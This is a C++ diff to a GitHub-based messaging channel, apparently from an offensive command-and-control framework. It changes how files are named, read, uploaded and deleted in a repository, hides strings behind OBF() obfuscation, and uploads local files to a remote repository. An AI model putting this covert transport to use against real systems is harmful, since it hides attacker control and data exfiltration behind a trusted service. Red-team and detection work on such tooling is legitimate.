const& fileNameSHA) { std::string url; json response; - std::string delimiter = OBF(":"); - - //string contains filename:size:sha value - std::vector fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter); - - std::int64_t fileSize = 0; + std::string delimiter = OBF("!"); std::string filename; std::string fileSHA; + std::string fileDownloadURL; + //string contains filename:sha:download_url value + std::vector fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter); - if (fileNameSizeSHASplit.size() > 0) { - filename = fileNameSizeSHASplit.at(0); - fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL ,10); - fileSHA = fileNameSizeSHASplit.at(2); + if (fileNameSHASplit.size() > 0) { + filename = fileNameSHASplit.at(0); + fileSHA = fileNameSHASplit.at(1); + fileDownloadURL = fileNameSHASplit.at(2); } else { - throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n")); + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n")); } - - // Github does not allow API access to download raw file with size of > 1 MB - // less than or equal to 1 MB for Github API, otherwise Github Blob to retrieve the file - if (fileSize <= 1048576) { - url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel - + OBF("/contents/") + filename; - } - else { - url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel - + OBF("/git/blobs/") + fileSHA; - } - - auto content = cppcodec::base64_rfc4648::decode(SendHttpRequest(url, OBF("application/vnd.github.v3.raw"), Method::GET, true)); + + ByteVector content = SendHttpRequest(fileDownloadURL, "", Method::GET, true); return content; } @@ -156,14 +143,12 @@ void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteVi j[OBF("message")] = OBF("Initial Commit"); j[OBF("branch")] = OBF("master"); - j[OBF("content")] = cppcodec::base64_rfc4648::encode(cppcodec::base64_rfc4648::encode(data)); + j[OBF("content")] = cppcodec::base64_rfc4648::encode(data); json response = SendJsonRequest(url, j, Method::PUT); } void FSecure::GithubApi::UploadFile(std::string const& path) { - std::cout << "UPLOAD FILE ... " << std::flush; - std::filesystem::path filepathForUpload = path; auto readFile = std::ifstream(filepathForUpload, std::ios::binary); @@ -175,30 +160,25 @@ void FSecure::GithubApi::UploadFile(std::string const& path) { std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn; WriteMessageToFile("", packet, filename); - - std::cout << "UPLOAD FILE OK" << std::endl; } -void FSecure::GithubApi::DeleteFile(std::string const& fileNameSizeSHA) { +void FSecure::GithubApi::DeleteFile(std::string const& fileNameSHA) { std::string url; json j; json response; - std::string delimiter = OBF(":"); + std::string delimiter = OBF("!"); std::string fileSHA; - - std::vector fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter); - - std::int64_t fileSize; std::string filename; - if (fileNameSizeSHASplit.size() > 0) { - filename = fileNameSizeSHASplit.at(0); - fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL, 10); - fileSHA = fileNameSizeSHASplit.at(2); + std::vector fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter); + + if (fileNameSHASplit.size() > 0) { + filename = fileNameSHASplit.at(0); + fileSHA = fileNameSHASplit.at(1); } else { - throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n")); + throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n")); } url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel @@ -230,10 +210,9 @@ std::map FSecure::GithubApi::GetMessagesByDirection(st json response; std::string filename; std::size_t found; - std::int64_t fileSize; - std::string fileSizeStr; std::string fileSHA; - + std::string fileDownloadURL; + std::string delimiter = OBF("!"); std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel + OBF("/contents"); @@ -242,17 +221,15 @@ std::map FSecure::GithubApi::GetMessagesByDirection(st for (auto& match : response) { if (match.contains(OBF("name"))) { filename = match[OBF("name")]; - fileSize = match[OBF("size")]; fileSHA = match[OBF("sha")]; - - fileSizeStr = std::to_string(fileSize); + fileDownloadURL = match[OBF("download_url")]; //Search whether filename contains direction id found = filename.find(direction); - + if (found != std::string::npos) { std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length - messages.insert({ts, filename + OBF(":") + fileSizeStr + OBF(":") + fileSHA }); + messages.insert({ts, filename + delimiter + fileSHA + delimiter + fileDownloadURL}); } } } @@ -285,7 +262,7 @@ FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host, if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) { return resp.GetData(); } - else if (resp.GetStatusCode() == StatusCode::TooManyRequests) { + else if (resp.GetStatusCode() == StatusCode::TooManyRequests || resp.GetStatusCode() == StatusCode::Conflict) { std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s)); } else { diff --git a/Src/Common/FSecure/Github/GithubApi.h b/Src/Common/FSecure/Github/GithubApi.h index 389f73d..411ba8e 100644 --- a/Src/Common/FSecure/Github/GithubApi.h +++ b/Src/Common/FSecure/Github/GithubApi.h @@ -43,7 +43,7 @@ namespace FSecure /// Download file by its path. /// @param filename - path of file and the size. Format "filename:filesize" /// @return - string of file content - FSecure::ByteVector ReadFile(std::string const& fileNameSizeSHA); + FSecure::ByteVector ReadFile(std::string const& fileNameSHA); /// Write a message as the contents of a file and upload to Github. /// @param direction - the name of the file to upload